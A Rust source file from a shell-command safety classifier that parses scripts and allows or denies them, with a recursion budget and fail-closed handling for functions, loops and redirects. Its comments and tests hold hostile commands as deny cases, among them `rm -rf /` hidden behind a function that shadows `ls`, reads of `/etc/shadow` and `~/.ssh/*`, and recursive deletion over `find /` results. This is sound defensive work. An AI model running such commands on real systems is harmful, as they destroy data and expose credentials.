Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7    /// Total (re-)classifications spent on one top-level `command_verdict`. Delegating handlers
8    /// (`fd -x`, `find -exec`, `xargs`, `sudo`) re-enter here on the wrapped command, and a command
9    /// that NESTS them — `fd a b -x fd c d -x …` — branches multiplicatively (one re-check per
10    /// pre-exec base × per nesting level), i.e. exponentially. This monotonic counter caps the total
11    /// so any such blow-up fails CLOSED (Denied) in bounded time instead of hanging the hook. A depth
12    /// cap alone can't help: 3^depth calls explode long before any depth limit bites.
13    static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14    static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17/// Far above any real command's handful of delegations (a `&&` chain of 50 `fd -x`s spends ~100),
18/// far below the exponential explosion. Found by the parse fuzzer (`fd -x fd -x …`). Kept modest so
19/// the worst-case CUTOFF is also cheap in wall-clock terms — each unit is a full re-classification
20/// (parse + dispatch), so a high ceiling would let a crafted command burn hundreds of ms in the hook
21/// (and blow the debug-mode timing of `classifier_terminates_on_adversarial_input`).
22const MAX_CLASSIFY_WORK: u32 = 512;
23
24/// RAII budget guard for the classifier recursion. `enter` resets the budget at the OUTERMOST call
25/// and charges one unit per (re-)entry; `None` means the budget is spent and the caller must fail
26/// closed. Depth is bumped only on a successful enter, so it stays balanced with the `Drop`.
27struct ClassifyGuard;
28
29impl ClassifyGuard {
30    fn enter() -> Option<Self> {
31        if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32            CLASSIFY_WORK.with(|w| w.set(0));
33        }
34        let spent = CLASSIFY_WORK.with(|w| {
35            let n = w.get().saturating_add(1);
36            w.set(n);
37            n
38        });
39        if spent > MAX_CLASSIFY_WORK {
40            return None;
41        }
42        CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43        Some(ClassifyGuard)
44    }
45}
46
47impl Drop for ClassifyGuard {
48    fn drop(&mut self) {
49        CLASSIFY_DEPTH.with(|d| d.set(d.get().saturating_sub(1)));
50    }
51}
52
53pub fn command_verdict(input: &str) -> Verdict {
54    let Some(_guard) = ClassifyGuard::enter() else {
55        return Verdict::Denied; // classification budget spent — fail closed
56    };
57    let Some(script) = parse(input) else {
58        return Verdict::Denied;
59    };
60    script_verdict(&script)
61}
62
63pub fn is_safe_command(input: &str) -> bool {
64    command_verdict(input).is_allowed()
65}
66
67thread_local! {
68    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
69    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
70    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
71    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
72        const { std::cell::RefCell::new(Vec::new()) };
73    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
74    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
75    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
76}
77
78const MAX_FUNC_DEPTH: usize = 32;
79
80/// The value a `$VAR`/`$1` binds to when the assigned/argument value is UNCERTAIN (a substitution,
81/// an unbound var, a reassignment to same). It looks like a path AND is unpinnable, so `$VAR/x`
82/// fail-closes in both gate layers rather than resolving to a stale or dropped value.
83const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
84
85struct FuncScope;
86impl Drop for FuncScope {
87    fn drop(&mut self) {
88        FUNCTIONS.with(|f| {
89            f.borrow_mut().pop();
90        });
91    }
92}
93
94fn define_function(name: String, body: Script) -> FuncScope {
95    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
96    FuncScope
97}
98
99fn lookup_function(name: &str) -> Option<Script> {
100    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
101}
102
103struct ResolveScope;
104impl Drop for ResolveScope {
105    fn drop(&mut self) {
106        RESOLVING.with(|r| {
107            r.borrow_mut().pop();
108        });
109    }
110}
111
112/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
113/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
114/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
115/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
116/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
117fn begin_resolving(name: &str) -> Option<ResolveScope> {
118    let over_budget = CLASSIFY_WORK.with(|w| {
119        let n = w.get().saturating_add(1);
120        w.set(n);
121        n > MAX_CLASSIFY_WORK
122    });
123    if over_budget {
124        return None;
125    }
126    RESOLVING.with(|r| {
127        let mut stack = r.borrow_mut();
128        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
129            None
130        } else {
131            stack.push(name.to_string());
132            Some(ResolveScope)
133        }
134    })
135}
136
137fn script_verdict(script: &Script) -> Verdict {
138    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
139        .into_iter()
140        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
141}
142
143/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
144/// installed, and return the per-statement results.
145///
146/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
147/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
148/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
149///
150/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
151/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
152/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
153/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
154pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
155    let mut running = crate::pathctx::cwd();
156    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
157    let mut _funcs: Vec<FuncScope> = Vec::new();
158    let mut out = Vec::with_capacity(script.0.len());
159    for stmt in &script.0 {
160        out.push({
161            let _cwd = crate::pathctx::enter_cwd(running.clone());
162            per_stmt(stmt)
163        });
164        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
165        if next.is_some() {
166            running = next;
167        }
168        for (name, value) in statement_assignments(&stmt.pipeline) {
169            _vars.push(crate::pathctx::enter_var(name, value));
170        }
171        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
172            _funcs.push(define_function(name.clone(), body.clone()));
173        }
174    }
175    out
176}
177
178/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
179/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
180fn cd_target(pipeline: &Pipeline) -> Option<String> {
181    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
182        return None;
183    };
184    if s.words.first()?.eval() != "cd" {
185        return None;
186    }
187    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
188}
189
190/// The variables a `while`/`until` condition of the form `read VAR…` (incl. `IFS= read -r VAR`) binds
191/// from stdin — its non-flag positionals — so the body's `$VAR` can be gated at the pipe's item locus.
192/// Empty for any other condition. (An exotic valued read flag's value may be over-included as a var
193/// name; harmless — it just binds a never-referenced name to the same workspace locus.)
194fn read_loop_vars(cond: &Script) -> Vec<String> {
195    let [stmt] = cond.0.as_slice() else {
196        return Vec::new();
197    };
198    let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
199        return Vec::new();
200    };
201    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
202    if words.first().map(String::as_str) != Some("read") {
203        return Vec::new();
204    }
205    words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
206}
207
208/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
209/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
210/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
211/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
212fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
213    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
214        return Vec::new();
215    };
216    if !s.words.is_empty() {
217        return Vec::new();
218    }
219    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
220}
221
222/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
223/// `$refs` against the current scope first, then requires no residual `$` and no substitution
224/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
225fn certain_value(word: &Word) -> String {
226    let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
227    if raw.contains('$') || raw.contains("__SAFE_CHAINS_") {
228        UNCERTAIN_VALUE.to_string()
229    } else {
230        raw
231    }
232}
233
234#[cfg(test)]
235pub(crate) fn is_safe_script(script: &Script) -> bool {
236    script_verdict(script).is_allowed()
237}
238
239pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
240    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
241    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
242    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
243    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
244    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
245    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
246    let mut stream: Option<String> = None;
247    for cmd in &pipeline.commands {
248        let _stdin = stream.clone().map(crate::pathctx::enter_stdin_repr);
249        acc = acc.combine(cmd_verdict(cmd));
250        stream = Some(stage_output_repr(cmd, stream.as_deref()));
251    }
252    acc
253}
254
255/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
256/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
257/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
258/// must deny in BOTH gate layers.
259const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
260
261/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
262/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
263/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
264/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
265fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
266    let Cmd::Simple(s) = cmd else {
267        return UNKNOWN_ITEM.to_string();
268    };
269    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
270    let Some(first) = words.first() else {
271        return UNKNOWN_ITEM.to_string();
272    };
273    let name = Token::from_raw(first.clone()).command_name().to_string();
274    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
275    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
276    match name.as_str() {
277        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
278        "find" | "fd" | "fdfind" => {
279            let roots = find_roots(&args);
280            let base = roots.iter().find(|r| !source_ok(r)).copied().unwrap_or(".");
281            format!("{}/sc_item", base.trim_end_matches('/'))
282        }
283        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
284        "ls" => {
285            if args.contains(&"-d") {
286                worst_arg_repr(&args)
287            } else {
288                "sc_item".to_string()
289            }
290        }
291        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
292        "echo" | "printf" => worst_arg_repr(&args),
293        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
294        "git" => match args.first() {
295            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
296            _ => UNKNOWN_ITEM.to_string(),
297        },
298        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
299        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
300        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
301        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
302        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
303        "head" | "tail"
304            if !reads_a_file_after_count(&args)
305                && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) =>
306        {
307            through()
308        }
309        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
310        "tee" => through(),
311        _ => UNKNOWN_ITEM.to_string(),
312    }
313}
314
315/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
316/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
317/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
318/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
319/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
320fn reads_a_file(args: &[&str]) -> bool {
321    args.iter().any(|a| {
322        (!a.starts_with('-') && *a != "-")
323            || *a == "--files0-from"
324            || a.starts_with("--files0-from=")
325    })
326}
327
328/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
329/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
330fn reads_a_file_after_count(args: &[&str]) -> bool {
331    let mut i = 0;
332    while i < args.len() {
333        let a = args[i];
334        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
335            i += 2; // flag + its value
336            continue;
337        }
338        if a.starts_with('-') || a == "-" {
339            i += 1;
340            continue;
341        }
342        return true; // a bare positional → a file operand
343    }
344    false
345}
346
347/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
348/// a granted dir), so paths derived from it are safe operands.
349fn source_ok(path: &str) -> bool {
350    crate::engine::resolve::read_content_verdict(path).is_allowed()
351}
352
353/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
354/// whose read is denied, else a worktree placeholder.
355fn worst_arg_repr(args: &[&str]) -> String {
356    args.iter()
357        .filter(|a| !a.starts_with('-'))
358        .find(|a| !source_ok(a))
359        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
360}
361
362/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
363/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
364fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
365    let mut i = 0;
366    while i < args.len() {
367        match args[i] {
368            "-H" | "-L" | "-P" => i += 1,
369            "-D" | "-O" => i += 2,
370            _ => break,
371        }
372    }
373    let mut roots = Vec::new();
374    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
375        roots.push(args[i]);
376        i += 1;
377    }
378    if roots.is_empty() {
379        roots.push(".");
380    }
381    roots
382}
383
384pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
385    pipeline_verdict(pipeline).is_allowed()
386}
387
388pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
389    match cmd {
390        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
391        _ => true,
392    }
393}
394
395fn has_any_substitution(cmd: &SimpleCmd) -> bool {
396    cmd.words.iter().any(has_substitution)
397        || cmd.env.iter().any(|(_, v)| has_substitution(v))
398}
399
400pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
401    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
402}
403
404pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
405    match cmd {
406        Cmd::Simple(s) => simple_verdict(s),
407        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
408            let body_v = script_verdict(body);
409            if let Verdict::Denied = body_v {
410                return Verdict::Denied;
411            }
412            let redir_v = redirect_verdict(redirs);
413            if let Verdict::Denied = redir_v {
414                return Verdict::Denied;
415            }
416            body_v.combine(redir_v)
417        }
418        Cmd::For { var, items, body, redirs } => {
419            let redir_v = redirect_verdict(redirs);
420            if let Verdict::Denied = redir_v {
421                return Verdict::Denied;
422            }
423            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
424            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
425            // fail-closing on the bare `$f`.
426            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
427            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
428                Some((read_repr, write_repr)) => {
429                    let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
430                    script_verdict(body)
431                }
432                None => script_verdict(body),
433            };
434            words_sub_verdict(items).combine(body_v).combine(redir_v)
435        }
436        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
437            let redir_v = redirect_verdict(redirs);
438            if let Verdict::Denied = redir_v {
439                return Verdict::Denied;
440            }
441            let cond_v = script_verdict(cond);
442            // `while read VAR; do … "$VAR" …` — bind each read var to the piped stdin's item locus,
443            // exactly as the `for`-loop binds its list var, so `find ./src | while read f; do cat "$f"`
444            // reads the worktree instead of fail-closing on the bare `$f`. Only when a modeled source
445            // set the stdin repr; otherwise the vars stay unbound (fail-closed).
446            let _binds: Vec<crate::pathctx::LoopGuard> = match crate::pathctx::stdin_item_repr() {
447                Some(repr) => read_loop_vars(cond)
448                    .into_iter()
449                    .map(|v| crate::pathctx::enter_loop_var(v, repr.clone(), repr.clone()))
450                    .collect(),
451                None => Vec::new(),
452            };
453            cond_v.combine(script_verdict(body)).combine(redir_v)
454        }
455        Cmd::If {
456            branches,
457            else_body,
458            redirs,
459        } => {
460            let redir_v = redirect_verdict(redirs);
461            if let Verdict::Denied = redir_v {
462                return Verdict::Denied;
463            }
464            let mut v = redir_v;
465            for b in branches {
466                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
467            }
468            if let Some(eb) = else_body {
469                v = v.combine(script_verdict(eb));
470            }
471            v
472        }
473        Cmd::DoubleBracket { words, redirs } => {
474            words_sub_verdict(words).combine(redirect_verdict(redirs))
475        }
476        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
477        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
478        // definition never denies on its body.
479        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
480    }
481}
482
483pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
484    cmd_verdict(cmd).is_allowed()
485}
486
487fn part_sub_verdict(part: &WordPart) -> Verdict {
488    match part {
489        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
490        WordPart::Backtick(raw) => command_verdict(raw),
491        WordPart::DQuote(inner) => word_sub_verdict(inner),
492        _ => Verdict::Allowed(SafetyLevel::Inert),
493    }
494}
495
496fn word_sub_verdict(word: &Word) -> Verdict {
497    word.0.iter()
498        .map(part_sub_verdict)
499        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
500}
501
502fn words_sub_verdict(words: &[Word]) -> Verdict {
503    words.iter()
504        .map(word_sub_verdict)
505        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
506}
507
508#[cfg(test)]
509pub(crate) fn word_subs_safe(word: &Word) -> bool {
510    word_sub_verdict(word).is_allowed()
511}
512
513fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
514    let redir_v = redirect_verdict(&cmd.redirs);
515    if let Verdict::Denied = redir_v {
516        return Verdict::Denied;
517    }
518
519    let env_sub_v = cmd.env.iter()
520        .map(|(_, v)| word_sub_verdict(v))
521        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
522    let word_sub_v = words_sub_verdict(&cmd.words);
523    let sub_v = env_sub_v.combine(word_sub_v);
524
525    if let Verdict::Denied = sub_v {
526        return Verdict::Denied;
527    }
528
529    if cmd.words.is_empty() {
530        if cmd.env.is_empty() {
531            return Verdict::Allowed(SafetyLevel::Inert);
532        }
533        return sub_v.combine(redir_v);
534    }
535
536    let name = cmd.words[0].eval();
537
538    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
539    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
540    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
541    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
542    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
543    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
544    // run the real `ls` for the rebound name, a bypass.
545    if let Some(body) = lookup_function(&name) {
546        let Some(_resolving) = begin_resolving(&name) else {
547            return Verdict::Denied;
548        };
549        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
550            .iter()
551            .enumerate()
552            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
553            .collect();
554        return sub_v.combine(script_verdict(&body)).combine(redir_v);
555    }
556
557    if name == "eval" {
558        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
559    }
560
561    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
562    // would run is classified — a braced word must not hide a system path from the gate.
563    let tokens: Vec<Token> =
564        cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
565    if tokens.is_empty() {
566        return Verdict::Allowed(SafetyLevel::Inert);
567    }
568
569    let cmd_v = leaf_verdict(&tokens);
570    sub_v.combine(cmd_v).combine(redir_v)
571}
572
573/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
574/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
575/// no opt-out — the engine is the default and only path.
576fn leaf_verdict(tokens: &[Token]) -> Verdict {
577    let legacy = handlers::dispatch(tokens);
578    crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
579}
580
581fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
582    if cmd.words.len() < 2 {
583        return Verdict::Denied;
584    }
585    for arg in &cmd.words[1..] {
586        if !arg_is_eval_safe(arg) {
587            return Verdict::Denied;
588        }
589    }
590    Verdict::Allowed(SafetyLevel::Inert)
591}
592
593fn arg_is_eval_safe(word: &Word) -> bool {
594    let mut found_safe = false;
595    for part in &word.0 {
596        match part {
597            WordPart::Lit(s) | WordPart::SQuote(s) => {
598                if !s.chars().all(char::is_whitespace) {
599                    return false;
600                }
601            }
602            WordPart::Escape(c) => {
603                if !c.is_whitespace() {
604                    return false;
605                }
606            }
607            WordPart::CmdSub(script) => {
608                if !script_yields_eval_safe(script) {
609                    return false;
610                }
611                found_safe = true;
612            }
613            WordPart::Backtick(raw) => {
614                let Some(script) = parse(raw) else {
615                    return false;
616                };
617                if !script_yields_eval_safe(&script) {
618                    return false;
619                }
620                found_safe = true;
621            }
622            WordPart::DQuote(inner) => {
623                if !arg_is_eval_safe(inner) {
624                    return false;
625                }
626                if has_substitution(inner) {
627                    found_safe = true;
628                }
629            }
630            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
631        }
632    }
633    found_safe
634}
635
636fn script_yields_eval_safe(script: &Script) -> bool {
637    if script.0.len() != 1 {
638        return false;
639    }
640    let stmt = &script.0[0];
641    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
642        return false;
643    }
644    let pipeline = &stmt.pipeline;
645    if pipeline.bang || pipeline.commands.len() != 1 {
646        return false;
647    }
648    let Cmd::Simple(s) = &pipeline.commands[0] else {
649        return false;
650    };
651    if !s.env.is_empty() {
652        return false;
653    }
654    // A redirect inside the substitution is allowed only if it's inert:
655    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
656    // A redirect that writes a real file is SafeWrite, not inert, so
657    // `mise activate bash > evil` is rejected — eval-safe must not gain a
658    // file-write side effect, and diverting stdout to a file is pointless here.
659    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
660        return false;
661    }
662    for w in &s.words {
663        if !word_is_plain_literal(w) {
664            return false;
665        }
666    }
667    let tokens: Vec<Token> =
668        s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
669    if tokens.is_empty() {
670        return false;
671    }
672    crate::registry::is_eval_safe_invocation(&tokens)
673}
674
675/// True iff every character of `word` is drawn from the bare-literal
676/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
677/// matching this shape consist entirely of identifier-style or
678/// path-style tokens that the shell will pass through to the
679/// substituted command unchanged at runtime.
680///
681/// Required for words inside eval-safe substitutions because the
682/// "stdout is shell-init code" trust depends on the contributor having
683/// vetted what gets passed to the tool. Restricting the alphabet to
684/// chars with no shell-expansion semantics keeps the substituted
685/// invocation static across parse-time and runtime — what you see in
686/// the source is what the tool receives.
687fn word_is_plain_literal(word: &Word) -> bool {
688    word.0.iter().all(part_is_plain_literal)
689}
690
691fn part_is_plain_literal(part: &WordPart) -> bool {
692    match part {
693        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
694        WordPart::Escape(c) => is_bare_literal_char(*c),
695        WordPart::DQuote(inner) => word_is_plain_literal(inner),
696        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
697    }
698}
699
700/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
701/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
702/// and the long-flag value form (`=`). New chars require an explicit
703/// eval-safe use case — add by extending this match, never by
704/// excluding individual hostile chars.
705fn is_bare_literal_char(c: char) -> bool {
706    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
707}
708
709pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
710    redirs.iter().all(|r| match r {
711        Redir::Write { target, .. } => target.eval() == "/dev/null",
712        Redir::Read { .. }
713        | Redir::HereStr(_)
714        | Redir::HereDoc { .. }
715        | Redir::DupFd { .. } => true,
716    })
717}
718
719/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
720/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
721/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
722/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
723/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
724/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
725fn is_safe_write_target(path: &str) -> bool {
726    crate::engine::resolve::write_target_verdict(path).is_allowed()
727}
728
729pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
730    let mut level = Verdict::Allowed(SafetyLevel::Inert);
731    for r in redirs {
732        match r {
733            Redir::Write { target, .. } => {
734                level = level.combine(word_sub_verdict(target));
735                let t = target.eval();
736                if t == "/dev/null" {
737                    // Inert: no side effect, no promotion.
738                } else if is_safe_write_target(&t) {
739                    level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
740                } else {
741                    level = level.combine(Verdict::Denied);
742                }
743            }
744            Redir::Read { target, .. } => {
745                level = level.combine(word_sub_verdict(target));
746                // Gate the SOURCE by its read locus, like an operand read: `cat < /etc/shadow`
747                // must deny just as `cat /etc/shadow` does. A substitution-derived source names
748                // an unknowable file → fail-closed to Denied.
749                if has_substitution(target) {
750                    level = level.combine(Verdict::Denied);
751                } else {
752                    level = level.combine(crate::engine::resolve::read_content_verdict(&target.eval()));
753                }
754            }
755            Redir::HereStr(word) => {
756                level = level.combine(word_sub_verdict(word));
757            }
758            Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
759        }
760    }
761    level
762}
763
764fn has_substitution(word: &Word) -> bool {
765    word.0.iter().any(|p| match p {
766        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
767        WordPart::DQuote(inner) => has_substitution(inner),
768        _ => false,
769    })
770}
771
772#[cfg(test)]
773mod tests {
774    use super::*;
775
776    fn check(cmd: &str) -> bool {
777        is_safe_command(cmd)
778    }
779
780    #[test]
781    fn loop_variable_inherits_the_list_locus() {
782        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
783        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
784        for cmd in [
785            "for f in *.txt; do cat $f; done",
786            "for f in *.txt; do rm $f; done",
787            "for f in src/*.rs; do grep foo $f; done",
788            "for f in *.log; do sed -i s/a/b/ $f; done",
789            "for f in a b c; do cat $f.bak; done",
790            "for x in 1 2 3; do rm $x; done",
791            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
792        ] {
793            assert!(check(cmd), "worktree loop should allow: {cmd}");
794        }
795        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
796        for cmd in [
797            "for f in /etc/*; do cat $f; done",
798            "for f in /etc/*.conf; do rm $f; done",
799            "for f in ~/.ssh/*; do cat $f; done",
800            "for f in $LIST; do rm $f; done",
801            "for f in $(find / -name x); do rm -rf $f; done",
802            "for d in /etc; do for f in $d/x; do cat $f; done; done",
803            // read-worst ≠ write-worst: reading must worst-case ~/notes even though the
804            // write-worst item is /etc/hosts — a single representative would be unsound.
805            "for f in /etc/hosts ~/notes; do cat $f; done",
806        ] {
807            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
808        }
809    }
810
811    safe! {
812        grep_foo: "grep foo file.txt",
